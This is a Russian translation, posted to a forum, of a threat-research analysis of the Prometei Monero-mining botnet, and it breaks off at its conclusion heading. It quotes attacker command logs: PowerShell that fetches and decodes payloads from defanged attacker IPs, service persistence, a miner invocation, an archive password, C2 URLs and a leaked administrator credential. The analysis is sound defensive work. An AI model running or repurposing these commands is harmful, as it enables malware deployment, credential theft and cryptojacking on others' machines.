Перевод Ботнет Prometei — вызов для Monero

Тема в разделе "Статьи", создана пользователем Mr. Pickles, 12 авг 2020.

  1. Mr. Pickles

    Команда форума Модератор Редактор

    Регистрация:
    11 сен 2017
    Сообщения:
    791
    Симпатии:
    229
    1.png

    КРАТКИЙ ОБЗОР НОВОСТЕЙ
    • Мы уже привыкли к атакам вымогателей и громким заголовкам о большой охоте на подобных преступников. Но появляются всё новые методы, которые злоумышленники используют, чтобы монетизировать свои усилия, прибегая к менее интрузивным способам.

    • Компанией Cisco Talos недавно была выявлена атака, проведённая при помощи ботнет-сети, которую мы называем Prometei. При этом использовалось несколько методов, которые заметили специалисты в области безопасности, но которые не сразу могли быть обнаружены простыми конечными пользователями.

    • Среди подобных угроз выделяются следующие: схема MITRE ATT&CK, особо примечательна T1089 (отключение инструментов обеспечения безопасности), T1105 (удалённое копирование файлов), T1027 (обфускация файлов или информации), T1086 (PowerShell), T1035 (управление службами), T1036 (имитация) и T1090 (подсоединение через прокси-сервер).
    Злоумышленники постоянно изобретают новые способы монетизации своих инструментов. Компанией Cisco Talos недавно была обнаружена сложная многомодульная ботнет-сеть, которая использовала сразу несколько способов распространения и была направлена на извлечение злоумышленниками финансовой выгоды путём майнинга онлайн-валюты Monero. Злоумышленник использует различные методы для распространения ботнета, такие как SMB с украденными учётными данными, утилиты PsExec, эксплойты WMI и SMB. Он также использует несколько специально созданных инструментов, которые помогают ботнету увеличить количество систем, участвующих в его майнинг пуле Monero.

    Что нового?

    Мы уверены в том, что это первый случай, когда кто-то задокументировал операции Prometei. Злоумышленник активно поддерживает все модули и действовал начиная с марта этого года.

    Как всё это работает?

    Заражение начинается с главного файла ботнета, который копируется из других заражённых систем посредством SMB с использованием паролей, извлечённых модифицированным модулем Mimikatz и такими модулями, как Eternal Blue. Злоумышленнику также известно о последних уязвимостях SMB, таких как SMBGhost, но никаких доказательств использования этого эксплойта обнаружено не было.

    В ботнет входят более 15 исполняемых модулей, и все они загружаются и управляются основным модулем, который постоянно обменивается данными с сервером управления и контроля (C2) через HTTP. Однако зашифрованные данные отправляются при помощи шифрования RC4, и модуль делится ключом с C2 с использованием асимметричного шифрования.

    Помимо того, что Prometei стремится максимально широко распространиться в среде, он также пытается восстановить пароли администраторов. Раскрытые пароли отправляются C2 серверу, а затем повторно используются другими модулями, которые пытаются проверить достоверность этих паролей на других системах с помощью SMB и RDP.

    Что из этого следует?

    Люди, отвечающие за безопасность, должны постоянно быть бдительными и следить за поведением систем в своей сети. Злоумышленники подобны воде — они будут пытаться найти самые незначительные трещины, чтобы просочиться. Несмотря на то, что организациям следует уделять особое внимание защите своих наиболее ценных активов, они всё же не должны игнорировать угрозы, которые не так сильно ориентированы на поражение их инфраструктуры.

    ТЕХНИЧЕСКИЙ АНАЛИЗ ПРОБЛЕМЫ

    Введение

    Этот ботнет был обнаружен путём анализа телеметрической информации, поступающей в Talos от Cisco AMP для инсталлированной базы Endpoints. Мы регулярно проводим "охотничьи" сессии, чтобы выявить новые вредоносные программы, которые могут попасть на наши радары. Строка правил и командная строка являются одними из лучших отправных точек для охоты.

    Первая командная строка была нами обнаружена в PowerShell:
    Код:
    powershell.exe   "if(-not (Test-Path 'C:\windows\dell\miwalk.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240[.]57:180/miwalk.txt');$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\dell\miwalk.exe',$bt);}"
    С тех пор мы проводили анализ путём пересечения родительско-дочернего графа процессов и поиска родительского модуля svchost.exe, который был запущен по необычному пути, из папки C:\Windows, а не <Windows\System32>.

    Поиск через события в C:\windows\svchost.exe и загруженный IP-адрес подводят нас к ещё более интересной проблеме (разбито на отдельные команды из соображений удобочитаемости):
    Код:
    C:\Windows\System32\cmd.exe /C taskkill -f -im rdpcIip.exe
    del C:\windows\dell\rdpcIip.exe
    powershell.exe if(-not (Test-Path 'C:\windows\dell\miwalk.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240[.]57:180/miwalk.txt');$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\dell\miwalk.exe',$bt);}
    powershell.exe if(-not (Test-Path 'C:\windows\dell\rdpcIip.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240[.]57:180/walker14364.php');$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\dell\rdpcIip.exe',$bt);}
    C:\Windows\svchost.exe /sha1chk 58899ed72b617c7e89455d55f5663f44d7eb24d8 C:\windows\dell\miwalk.exe
    C:\Windows\svchost.exe /sha1chk e5ffb2a8ceb70e7280fb5ac9f8acac389ed0181e C:\windows\dell\rdpcIip.exe
    C:\windows\dell\rdpcIip.exe ADMINISTRADOR Cohersa2019
    Сразу же мы видим, что svchost имеет множество функций. Помимо того, что именно родительский процесс запуска PowerShell загружает дополнительные компоненты, он также выполняется с опцией /sha1chk. Это указывает на то, что он также может содержать функции проверки целостности загруженных модулей.

    Загружаются два модуля, и один из них запускает rdpcIip.exe с изменённым именем файла, так что он выглядит как нормальный исполняемый файл Windows rdpclip.exe. Наконец, rdpcIip запускается с двумя аргументами, которые выглядят так, как учётные данные администратора.

    Более двух месяцев мы следили за работой этого ботнета и обнаружили более 15 различных модулей, организованных в две основные функциональные ветви. Обе ветви могут функционировать независимо друг от друга, что может указывать на то, что мы имеем дело с другим злоумышленником, перенявшим основные функции ботнета и использующим их для распространения своих собственных модулей.

    Первая ветвь была написана на C++, и в её случае использовался специальный тип обфускации, позволяющий избежать анализа и обнаружения динамическими автоматизированными системами анализа. Её основные модули, svchost, miwalk, rdpcIip и SearchIndexer, были явно созданы для совместной работы.


    2.jpg
    Две основные ветви ботнета Prometei (Prometheus)

    Однако более вероятно, мы имеем дело с одним и тем же автором, поскольку вторая ветвь распространяется через тот же сервер загрузки и загружается основным ботом svchost.exe. Тем не менее вторая ветвь главным образом является попыткой перебора комбинаций имён пользователей и паролей при помощи протоколов SMB и RDP, и она была разработана с использованием .NET Framework в сочетании с бесплатными инструментами и модифицированным программным обеспечением с открытым исходным кодом.

    Основной модуль второй ветви nvsync.exe, который обменивается данным со своим собственным C2 сервером, содержит некоторые указания на то, что его целью является майнинг криптовалюты, но мы не нашли доказательств этому.

    Основная ветвь модуля ботнет-сети

    Теперь давайте рассмотрим основную ветвь модуля ботнет-сети. Мы будем называть её «основной» ветвью, поскольку она может функционировать независимо и позволяет осуществлять майнинг криптовалюты Monero. Эта ветвь содержит модули с возможностью обмена данными с C2 сервером, распространения в стороны, кражи учётных данных пользователей и майнинга Monero. Все модули основной ветви ботнет-сети скомпилированы как 64-битные приложения, хотя во время нашей охоты мы также нашли и 32-битные варианты основного модуля ботнета.

    Основная ветвь также имеет вспомогательные модули, которые обеспечивают возможность передачи данных через сети TOR или I2P, сбора информации о процессах, запущенных в системе, проверки открытых портов в целевых системах, а также сканирования файловых систем для поиска имён файлов, указанных в качестве аргументов для модуля, и обычно это криптовалютные кошельки Bitcoin.

    Основной модуль ботнет-сети — Svchost.exe

    Несмотря на то, что основной модуль установлен в папке Windows как svchost.exe, он распространяется в стороны под именами xsvc.exe и zsvc.exe и загружается для обновления с помощью PowerShell как up.exe.

    Установка и поддержка основной ботнет-сети


    Все версии ботов упакованы при помощи UPX, что позволяет уменьшить их размер. Однако даже в ранних версиях есть еще один уровень обфускации, который выглядит как простой обфускатор XOR, который дешифрует остальную часть кода в памяти и переходит к исходной точке входа.

    3.png
    Код точки входа ранней версии бота с простым обфускатором

    Однако в случае с более поздними версиями бота использовался другой упаковщик, который зависел от наличия внешнего файла, который было необходимо правильно распаковать. Мы обнаружили, что этот упаковщик применяется к основному модулю бота и модифицированному исполняемому файлу Mimikatz miwalk.exe для извлечения учётных данных пользователей из системной памяти. Svchost.exe, основной бот, проверяет наличие файла C:\Windows\mscordata.dll.

    4.jpg
    Специализированный упаковщик, используемый с главным ботом и модулями Mimikatz

    Помимо усложнения ручного анализа, этот метод «антианализа» также позволяет избежать обнаружения динамическими автоматизированными системами анализа, такими как Cisco Threat Grid. Когда начинается выполнение, после распаковки UPX, оно может пойти по двум путям. В первом случае создаётся текстовый файл c:\windows\temp\setup_gitlog.txt, содержащий текст PaiAuganMai Diag Utility - Setup, а затем пингуется DNS сервер Google 8.8.8.8, за чем следует команда sysinfo.exe для сохранения результатов обеих команд в файл c:\Windows\Temp\sysinfo.txt.

    Нами было найдено несколько примеров выполнения этой функции. Частота обнаружения на основе такого поведения является относительно низкой.

    Тем не менее при наличии внешних файлов будет открыт и прочитан отдельный байт, в конечном счёте расшифровывающий код главного ботнета. Во время расшифровки также используется инструкция cpuid. Изначально это указывало на то, что для предотвращения работы бота в виртуальной среде мог использоваться метод Anti-VM. Однако это не тот случай, и инструкция используется только для извлечения некоторых флагов, которые применяются в процессе расшифровки.

    5.png
    Бот считывает один байт из файла и использует его для управления потоком выполнения

    Поскольку используется только один байт, у нас есть только 255 значений для инициализации одной из переменных расшифровки (в 64-битном коде это регистр r14d) и несколько стратегий распаковки, но самый простой способ - это метод простого перебора содержимого реестра. Это можно сделать при помощи внешнего скрипта или же автоматизировать отладчик, чем мы и воспользовались. Нами был написан простой скрипт x64dbg, который позволил получить необходимое значение уже через несколько минут.
    Код:
    $j=0
    
    start:
    
    initdbg "c:\windows\zsvc.exe" //initialize the debugger with the file to be analysed
    
    cmp $pid,0 //successful initialization?
    
    je start
    bp 141092418 // set breakpoint to main and continue
    
    erun // we hit the entry point
    erun // we hit the main function
    
    bp 14108f441 //if this breakpoint is hit then success!!
    bp 14108f0f9 //if this breakpoint is hit set r14d to the counter $j and increment the counter
    bp 14108f331 //we failed go back to the beginning
    
    erun //continue
    
    cmp rip, 14108f0f9 //time to initialise r14d?
    jne checkfail //if not have we failed and reached decoy code?
    r14d=$j
    log {d:r14d} //log the current counter value
    $j = $j + 1
    cmp $j,255
    je end
    
    erun
    
    checkfail:
    cmp rip, 14108f331 //are we in the decoy code, if yes restart debugging
    jne checksuccess
    goto start
    
    checksuccess:
    cmp rip,14108f441 //Success!!! We found the value we need. End.
    
    jne start
    end:
    pause
    Скрипт x64dbg для распаковки кода главного бота.

    Наконец, после некоторого времени, потраченного на отладку и деобфускацию, мы добрались до деобфусцированного кода главного бота, написанного на C++, после чего уже нетрудно было найти и основную функцию.

    Она начинается с попытки создания папки c:\windows\dell и продолжается попыткой запустить службу UPlugPlay. Если запуск службы пройдёт успешно, бот будет создан. В противном случае предполагается, что бот должен установить сам себя и установить механизм поддержки.

    zsvc.exe сам копирует себя в c:\Windows\svchost.exe и настраивает службу UPlugPlay, о чём также свидетельствует журнал командной строки. После настройки службы она запускается и подключается к C2 серверу.
    Код:
    cmd.exe /C sc create UPlugPlay binPath= C:\Windows\svchost.exe Dcomsvc type=own DisplayName=UPlug-and-Play Host start=auto error=ignore
    Как выглядит создание службы UPlugPlay в журнале командной строки

    Связь с C2 сервером осуществляется через HTTP и является видимой, хотя команды и результаты выполнения команд передаются при помощи RC4 шифрования с ключом, сгенерированным на клиентском компьютере и сохранённым в значениях реестра HKLM\SOFTWARE\Microsoft\Fax\MachineKeyId и HKLM\SOFTWARE\Microsoft\Fax\Encrypted\MachineKeyId.

    Ключ RC4 передаётся по HTTP в виде строки в формате base64 в переменной enckey с использованием асимметричного шифрования и с использованием публичного ключа C2, сохранённого в разделе данных бота.

    Код:
    http://bk1.bitspiritfun2[.]net/cgi-bin/prometei.cgi?add=b64encodedmachineinfo&h=SERVIDOR&i=1Z2NJQOUX1A3A8CD&enckey=OnIHYtpU-UAsq3eQKyeV/AQIKQO4GY0dxCkXtEFYKJB36MtI/YAux37Gk7MbDoyucmnrkC5D5ptZN-t103EFrjm0gbiODeP19McSLiMJ-EVXNtPgQkXxP6CTAW7-eVRyvLcYoJW-VkvM3sNfgUyEgqBKVDmrmavuZUcEOhs/b8E_
    Пример начального добавления сервера в ботнет-сеть и его ключа шифрования.

    Переменная add в формате HTTP содержит закодированную в base64 информацию о компьютере жертвы, включая доменное имя, модель и тип процессора. Например:
    Код:
    info {
     
        machine name
        domain.local
     
        2x Intel(R) Xeon(R) CPU        3040  @ 1.86GHz
        4Gb
     
        HP
        ML110 G4
        ProLiant ML110 G4
     
        10.0.14393
     
        Serial number
        20/07/2007
    
    }
    Блок информации о машине, добавленный в базу данных C2 ботнета

    Как только хост будет добавлен в ботнет-сеть, главный бот начнёт ввод команд опроса бесконечного цикла с сервера управления и контроля. Как это часто бывает в случае с троянскими программами и ботами с удаленным доступом, есть обработчики обычных команд, позволяющие злоумышленнику контролировать заражённую систему.

    Бот ожидает одну из следующих команд:
    • run — выполнить программу/файл, используя ShellExecute API
    • exec — выполнить программу, используя CreateProcess API
    • srun — проверить, существует ли путь, вычислить его SHA1 и выполнить, используя CreateProcess
    • cmdt — запустить командный процессор, перенаправить stdin и stdout в каналы по HTTP
    • cmd — запустить командный процессор, перенаправить stdin и stdout в каналы по HTTP
    • scmd — выполнить одну команду
    • ver — получить версию бота
    • extip — получить внешний IP-адрес бота
    • enc — получить/установить ключ шифрования RC4
    • updatev3 — загрузить обновлённого бота в svchost2.exe и запустить процесс, а затем удалить файл. В случае неудачи сначала остановить процесс.
    • set_timeout — установить время для подключения к C2 серверу
    • set_cc — установить новый C2 сервер
    • touch — открыть файл и записать один байт для изменения контрольных сумм и времени доступа
    • wget — скачать файл
    • xwget — скачать файл, сохранить его, затем открыть и произвести операцию XOR, используя однобайтовый XOR с начальным ключом 0x42 и добавлением 0x42 для каждого байта
    • stop_mining — остановить майнинг, используя cmd.exe /C taskkill -f -im SearchIndexer.exe. В случае неудачи попробовать запустить поток, который будет вызывать taskkill.
    • start_mining1 — прочитать C:\windows\dell\Desktop.dat, чтобы получить параметры, и запустить SearchIndexer.exe
    • start_mining — запросить desktop.txt у C2, сохранить его в Desktop.dat и запустить майнер с параметрами, считанными из Desktop.dat
    • quit — завершить работу бота, используя TerminateProcess
    • quit2 — выйти из цикла обработчика команд без вызова TerminateProcess
    • getinfo — получить информацию о заражённой системе, используя запросы WMI WQL и другие методы.
    Связь с C2 сервером осуществляется напрямую через HTTP, TOR или I2P прокси-серверы. В ходе анализа нам удалось найти только файл c:\windows\dell\msdtc.exe, основной целью которого является передача запросов через прокси-сервер TOR на C2 сервер https://gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei.cgi. Может существовать и другой модуль c:\windows\dell\msdtc2.exe, позволяющий боту направлять свои запросы по сети I2P.

    Модуль основной ботнет-сети может функционировать самостоятельно, как троянская программа с удаленным доступом, но основная цель этого объекта состоит в майнинге Monero и, возможно, краже кошельков Bitcoin, потенциально защищённых паролями, украденными при помощи Mimikatz.

    Другие модули доступны и могут быть скачаны модулем основного бота. Скачивание является начальным действием, обнаруженным нами при телеметрии.

    В ходе нашего исследования мы обнаружили два основных C2 сервера: bk1.bitspiritfun2[.]net и p1.feefreepool[.]net. Первый был активен до 8 июня, когда IP-адрес сервера изменился на 75.2.37[.]224, принадлежащий Amazon. Ответ сервера «403 Forbidden» может указывать на успешный перехват ботнета. Предыдущие два адреса были расположены в Германии и Франции.

    6.jpg
    Запросы DNS для bk1.bitspiritfun2.net, выявленные Cisco Umbrella

    Второй сервер располагается в Германии и имеет IP-адрес 88.198.246[.]242, который принадлежит компании Hetzner.

    7.jpg
    Запросы DNS для p1.feefreepool.net, выявленные Cisco Umbrella.

    Запросы на C2 серверы поступают из довольно широкого круга стран, причём большинство запросов поступают от систем, расположенных в США, Бразилии, Турции, Пакистане, Китае, Мексике и Чили.

    Сервер загрузки 103.11.244 [.] 221 находится в Гонконге, в то время как серверы 208.66.132 [.] 3, 69.28.95 [.] 50 и 69.84.240 [.] 57 находятся в США.

    Модули распространения (rdpcl1p.exe) и кражи паролей (miwalk.exe)

    Второй наиболее заметный модуль позволяет боту распространяться через SMB. RdpcIip.exe связан с miwalk.exe. Работа функции wmain начинается с проверки наличия файла учетных данных в c:\windows\dell\ssldata2.dll, а также c:\windows\dell\ssldata2_old.dll, которые используются для хранения старых учётных данных.

    Затем модуль распространения изменяет значение реестра:

    Значение HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential меняется на 1, после чего учётные данные сохраняются в памяти и извлекаются при помощи методов, также используемых модулем кражи паролей.

    Затем модуль распространения запускает miwalk.exe, модифицированную версию Mimikatz, которая крадёт учётные данные и сохраняет их в файл ssldata2.dll. Если учётные данные будут успешно украдены, модуль распространения проанализирует файл учётных данных и извлечёт таблицу распределения IPv4 адресов, чтобы выделить IP-адреса локальных сетевых интерфейсов, при этом адреса локальных сетей извлекаются и сохраняются в файл c:\windows\dell\et.txt.

    Модуль распространения итеративно проверяет сети, сохранённые в файле net_<ip_address_of_the_interface>.txt, и пытается распространиться среди систем внутри этих сетей. Процедура повторяется для каждого интерфейса. Модуль распространения пытается установить и аутентифицировать сессию SMB при помощи украденных учётных данных или гостевой учётной записи без пароля, и скопировать основной модуль бота как xsvc.exe или zsvc.exe в целевую систему.

    Если основной модуль бота будет успешно скопирован, для его удалённого запуска модуль распространения будет использовать psexec или WMI.

    Если попытка кражи учётных данных потерпит неудачу, модуль распространения попытается запустить вариант эксплойта Eternal Blue, в зависимости от версии удалённой операционной системы, и отправит шелл-код для установки и запуска основного модуля бота.

    Часть программного обеспечения для майнинга Monero (XMRig)

    Последняя рабочая часть основной функциональной ветви представляет собой вариант программного обеспечения для майнинга Monero с открытым исходным кодом — XMRig версия 5.5.3. Майнер находится в папке c:\windows\dell под именем SearchIndexer.exe. Программа XMRig загружается основным модулем бота.
    Код:
    C:\Windows\System32\cmd.exe /C powershell.exe
    
    if(-not (Test-Path 'C:\windows\dell\Desktop.dat')) {
    (New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/Desktop.txt', 'C:\Windows\dell\Desktop.dat');
    }
    
    if(-not (Test-Path 'C:\windows\dell\WinRing0x64.sys')) {
    $b64 = $(New-Object Net.WebClient).DownloadString('http://208.66.132[.]3:8080/dllr0.php');
    $data = [System.Convert]::FromBase64String($b64);
    $bt = New-Object Byte[]($data.Length);
    
        FOR ([int]$ i = 0; $i -lt $data.Length; $i++){
        $bt[$i] = ((($data[$i]+0xFE) -band 0xFF) -bXOR 255);
        }
    
    [io.file]::WriteAllBytes('C:\windows\dell\WinRing0x64.sys',$bt);
    }
    
    if(-not (Test-Path 'C:\windows\dell\SearchIndexer.exe')) {
    $b64=$(New-Object Net.WebClient).DownloadString('http://208.66.132[.]3:8080/srchindx2.php');
    $data=[System.Convert]::FromBase64String($b64);
    $bt=New-Object Byte[]($data.Length);
    [int]$j=0;
          FOR([int]$i=0;$i -lt $data.Length; $i++){
          $j+=66;$bt[$i]=(((($data[$i]) -bXOR (($i*3) -band 0xFF))-$j) -band 0xFF);
        }
    
    [io.file]::WriteAllBytes('C:\windows\dell\SearchIndexer.exe',$bt);
    }
    
    taskkill -f -im taskmgr.exe
    
    C:\Windows\svchost.exe /sha1chk fcd80a03388f0f73a8718d18291590b77ac10dd2 C:\windows\dell\SearchIndexer.exe
    Как видно в журнале, командная строка используется для загрузки и проверки целостности майнера XMRig.

    Сначала майнер упаковывается при помощи UPX, а затем относительно простым XOR-упаковщиком, который добавляет новый раздел PE, .ucode, в исполняемый файл. Он похож на упаковщик, который использовался в более ранних версиях основного модуля бота.

    Майнер вызывается основным модулем бота svchost.exe, когда C2 сервер выдаёт команду start_mining. Svchost получает параметры командной строки, такие как номер сервера майнинга, имя пользователя майнера, пароль и протокол, используемый для майнинга, с C2 сервера. Запуск майнера виден в журнале командной строки заражённых систем.
    Код:
    C:\windows\dell\SearchIndexer.exe -o stratum+tcp://srv1.feefreepool[.]net:80 -u 4A1txQ9L8h8NqF4EtGsZDP5vRN3yTVKynbkyP1jvCiDajNLPepPbBdrbaqBu8fCTcFEFdCtgbeSsTf17B1MhyE2AKCEyfR -p x --donate-level 1
    Если поискать эту конкретную учётную запись на Monerohash.com, то мы получим результат, который покажет, что этот ботнет стабильно достигает скорости от 700KH/сек до 950KH/сек, что означает, что количество заражённых систем достигало нескольких тысяч. Потенциал заработка посредством ботнета относительно невелик, и за четыре месяца работы он заработал своему владельцу чуть менее 5000 долларов США или 1250 долларов США в месяц.

    8.png
    Объём заработка посредством ботнета для майнинга Monero на 8 июля 2020 года

    Это согласуется с цифрами, полученными при помощи калькулятора прибыльности майнинга Monero, выложенного в общий доступ на Cryptocompare.com.

    9.png
    Калькулятор прибыльности майнинга Monero, показывающий потенциальный доход от работы ботнет-сети

    Хотя заработок в размере 1250 долларов в месяц и не кажется значительной суммой, по сравнению с некоторыми другими незаконными операциями в киберпространстве, это больше среднемесячной заработной платы отдельно взятого разработчика в Восточной Европе и многих других странах.

    Возможно, именно поэтому, если мы посмотрим на встроенные пути к файлам базы данных программы во многих компонентах ботнета, мы увидим ссылку на папку c:\Work.
    Код:
    C:\Work\Tools_2019\misc\tor_hidden_svc\darkread\x64\Release\darkread.pdb
    C:\Work\Tools_2019\prometei\RDPBrute2016.NET\RDPDetect\bin\Release\CryptoObfuscator_Output\nvsync.pdb
    C:\Work\Tools_2019\prometei\nvstub\Release\nvstub.pdb
    C:\Work\Tools_2019\prometei\psbrute\Release\psbrute.pdb
    C:\Work\Tools_2019\walker\netwalker\x64\Release\rdpcIip.pdb
    C:\Work\Tools_2019\misc\util\chk445\Release\chk445.pdb
    C:\Work\Tools_2019\misc\util\crawler\Release\crawler.pdb
    Другие вспомогательные модули

    Помимо четырех основных модулей, ботнет также содержит 7 дополнительных, которые загружаются и запускаются по команде с C2 сервера.

    Crawler.exe является простым поисковиком файловой системы, который ищет в локальной файловой системе имена файлов, указанные в качестве параметра. Нами наблюдалась низкая активность модуля, и его использование указывает на намерение злоумышленника найти кошельки Bitcoin на зараженных системах.

    Chk445.exe является простым инструментом, используемым для проверки того, открыт ли порт 445 в целевой системе. Ztasklist.exe — это инструмент, который нумерует все запущенные процессы.


    Модули smcard.exe и msdtc.exe отвечают за связь с C2 серверами через TOR. Smcard.exe является ретранслятором TOR, подключающим заражённую систему к сети TOR и запускающим прокси-сервер socks на локальном порте 9050. Msdtc.exe — это прокси-клиент, управляемый основным модулем бота. Его параметр командной строки является обычным URL в кодировке Base64 и запросом к C2 серверу gb7ni5rgeexdcncj.onion, и этот запрос будет направлен через сеть TOR.

    Ветвь Nvstub

    Вторая ветвь ботнет-сети, которую мы называем Nvstub, имеет собственные функции и другой C2 сервер.

    Сначала Svchost пытается удалить несколько файлов, а затем загружает исполняемые файлы, необходимые для загрузки 7-Zip-архива, содержащего все компоненты ветви Nvstub. 7-Zip архив извлекается ранее загруженной утилитой 7z.exe. Архив Nvstub, _agent.7z, защищён паролем horhor123. Как только агент будет извлечён в папку C:\Windows\dell, основной модуль ботнета запустит nvstub.exe, первый модуль второй ветви, с единственным параметром командной строки, содержащим IP-адрес C2 сервера и его пароль.
    Код:
    C:\Windows\System32\cmd.exe /C taskkill -f -im SearchIndexer.exe
    del C:\Windows\dell\_agent.7z
    taskkill -f -im nvsync.exe
    
    del C:\windows\dell\nvsync.exe
    del C:\windows\dell\ps.exe
    taskkill -f -im socks.exe
    del C:\windows\dell\socks.exe
    del C:\windows\dell\nvsync2.exe
    del C:\windows\dell\nvsync4.exe
    
    del C:\windows\dell\winpr2.dll
    del C:\windows\dell\freerdp2.dll
    del C:\windows\dell\freerdp-client2.dll
    
    del C:\windows\dell\nvstub.exe
    del C:\Windows\dell\_agent.7z
    
    powershell.exe if(-not (Test-Path 'C:\windows\dell\7z.dll')) {(New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/7z.dll', 'C:\Windows\dell\7z.dll');} if(-not (Test-Path 'C:\windows\dell\7z.exe')) {(New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/7z.exe', 'C:\Windows\dell\7z.exe');} (New-Object Net.WebClient).DownloadFile('http://208.66.132[.]3:8080/_agent.7z', 'C:\Windows\dell\_agent.7z');
    C:\Windows\svchost.exe /sha1chk 48bcecd5d3f293cdc8356aee5ec4bab3252493fb C:\windows\dell\7z.exe
    C:\Windows\svchost.exe /sha1chk 98a5ee5d689d664a14bb9a680c6e4fec5e752842 C:\windows\dell\7z.dll
    C:\Windows\svchost.exe /sha1chk c42ab26ad284d52aefa2d40b7f4bf9a95109a5ff C:\windows\dell\_agent.7z
    
    C:\windows\dell\7z x C:\Windows\dell\_agent.7z -phorhor123 -oC:\Windows\dell -y
    del C:\Windows\dell\_agent.7z
    del C:\windows\dell\SearchIndexer.exe
    
    C:\Windows\dell\nvstub.exe 211.23.16[.]239/prometheus.php_x1
    Установка и запуск ветки Nvstub согласно журналу командной строки

    Nvstub.exe — это простой модуль, который настраивает среду для других модулей, наиболее важным из которых является второй бот nvsync.exe. Архив _agent.7z содержит варианты бота nvsync2.exe и nvsync4.exe. Nvstub.exe сначала проверяет версию .NET Framework, установленную в системе, пытается завершить работу трёх основных модулей ветви, nvsync.exe, ps.exe и socks.exe, и, наконец, копирует соответствующую версию nvsync в nvsync.exe, и запускает его с аргументами, перенаправленными из его собственных аргументов.

    10.jpg
    Nvstub является первым модулем, устанавливающим среду для других модулей

    Nvsync

    В то время как большинство других модулей ботнета написаны на C или C++, в данном случае злоумышленник демонстрирует сдвиг в среде программирования и выбирает .NET Framework и C# для основного модуля бота ветви Nvstub. Злоумышленник производит обфускацию модуля, используя защитный пакет CryptoObfuscator, но эта проблема легко решается при помощи de4dot.

    11.png
    Часть полученного после деобфускации кода nvsync.exe с функциями, переименованными в целях описания функциональности.

    После запуска модуль nvsync.exe будет анализировать аргументы командной строки и либо инициализировать бота и подсоединяться к C2 серверу, либо создавать массив процессов, количество которых будет зависеть от вычислительной мощности заражённой системы. Каждый процесс запускает другую копию nvsync.exe, которая, в зависимости от своих параметров, будет проверять достоверность учётных данных для списка IP-адресов, переданного C2 сервером, используя либо SMB, либо RDP клиенты.

    Нами был обнаружен только один URL C2 для ветви Nvstub: https://211.23.16[.]239/prometheus.php, указывавший на Тайвань.

    Параметры дочерних процессов сначала шифруются при помощи RC4, а затем кодируются с использованием Base64. Фраза-пароль RC4 param error user, используемая для шифрования параметров дочерних процессов, расшифровывается из закодированной в формате Base64 строки T9FLs3QS45JuVnTAljDz4Q== и начальной фразы Data param error.

    С этого момента шифрование, вероятно, используется во избежание подозрительного вызова дочерних процессов, использующих IP-адреса, доменные имена, имена пользователей и пароли.

    12.png
    RC4 расшифровка параметра пароля при помощи копии
    CyberChef

    Помимо основного модуля nvsync.exe, есть два дополнительных важных модуля, которые являются неотъемлемой частью правильной функции ботнета: ps.exe и socks.exe. Оба модуля являются 32-битными приложениями.

    Перед вызовом любого из модулей проверки учётных данных nvsync.exe фильтрует учётные данные, чтобы избежать определенных целей.

    Сюда входят:
    • IME_ADMIN
    • IME_USER
    • Plesk Administrator
    • SvcCOPSSH
    • WDeployAdmin
    • Guest
    • Гость
    • ftpuser
    • FTP User
    • Altro utente
    • Other User
    • Другой пользователь
    Валидация также не происходит, если предоставленные учётные данные содержат одну из следующих строк:
    • workgroup
    • mshome
    • win
    • microsoft
    • user
    • admin
    • administrator
    • pc
    • com
    • buh
    • local
    • home
    • corp
    • office
    • lan
    • biz
    • net
    • org
    • loc
    • ru
    • ua
    • tr
    • server
    • serv
    • srv
    Ps.exe

    Первый модуль пытается войти через TCP порт 445, используя протокол аутентификации NTLM. Каждое успешное соединение подтверждает достоверность учётных данных для целевого IP-адреса, а учётные данные подтверждаются с C2 сервером при помощи модуля nvsync.exe.

    13.png
    Перехват пакета, свидетельствующий о попытке подключения и валидации предоставленных учётных данных

    Есть некоторые сходства в коде ps.exe и rdpcIip.exe, связанные в основном с низким уровнем связи SMB и аутентификацией NTLM провайдера услуг по обеспечению безопасности.

    Socks.exe

    Возможности обмена данными RDP Socks.exe зависят от опенсорс и бесплатных клиентских RDP библиотек freerdp2.dll и freerdp-client.dll. Приложение сначала обрабатывает параметры, которые включают IP-адрес и порт хоста, а также основную часть названия файла без расширения, содержащего учётные данные, которые будут использоваться при попытке войти в целевую систему. Полученное название файла генерируется при помощи закодированной в формате base64 и зашифрованной с использованием RC4 комбинации ip_address:рort цели.

    Socks.exe анализирует файл с расширением .cpass, содержащий пароли кандидатов, и пытается войти на сервер RDP, используя комбинацию доменного имени, полученного в качестве аргумента командной строки, и имени пользователя администратора. Каждая успешная комбинация учётных данных будет сохранена в файл с тем же базовым именем и расширением .cpass_good.

    Как только socks.exe завершит работу и вернётся к nvsync.exe, nvsync считает все проверенные учётные данные и отправит их на сервер управления и контроля.

    Вспомогательные модули ветви Nvstub

    Все вспомогательные модули второй ветви являются легитимными исполняемыми файлами или библиотеками, поддерживающими работу ветви. 7z.exe — это архиватор 7-Zip, используемый для извлечения файлов из архива _agent.7z, содержащего все модули ветви Nvstub. Zlib.dll является зависимостью 7z.exe. Две библиотеки FreeRDP DLL - freerdp2.dll и freerdp-client2.dll, необходимы для успешной связи RDP, но также они могут являться частью легитимной установки FreeRDP.

    Заключение

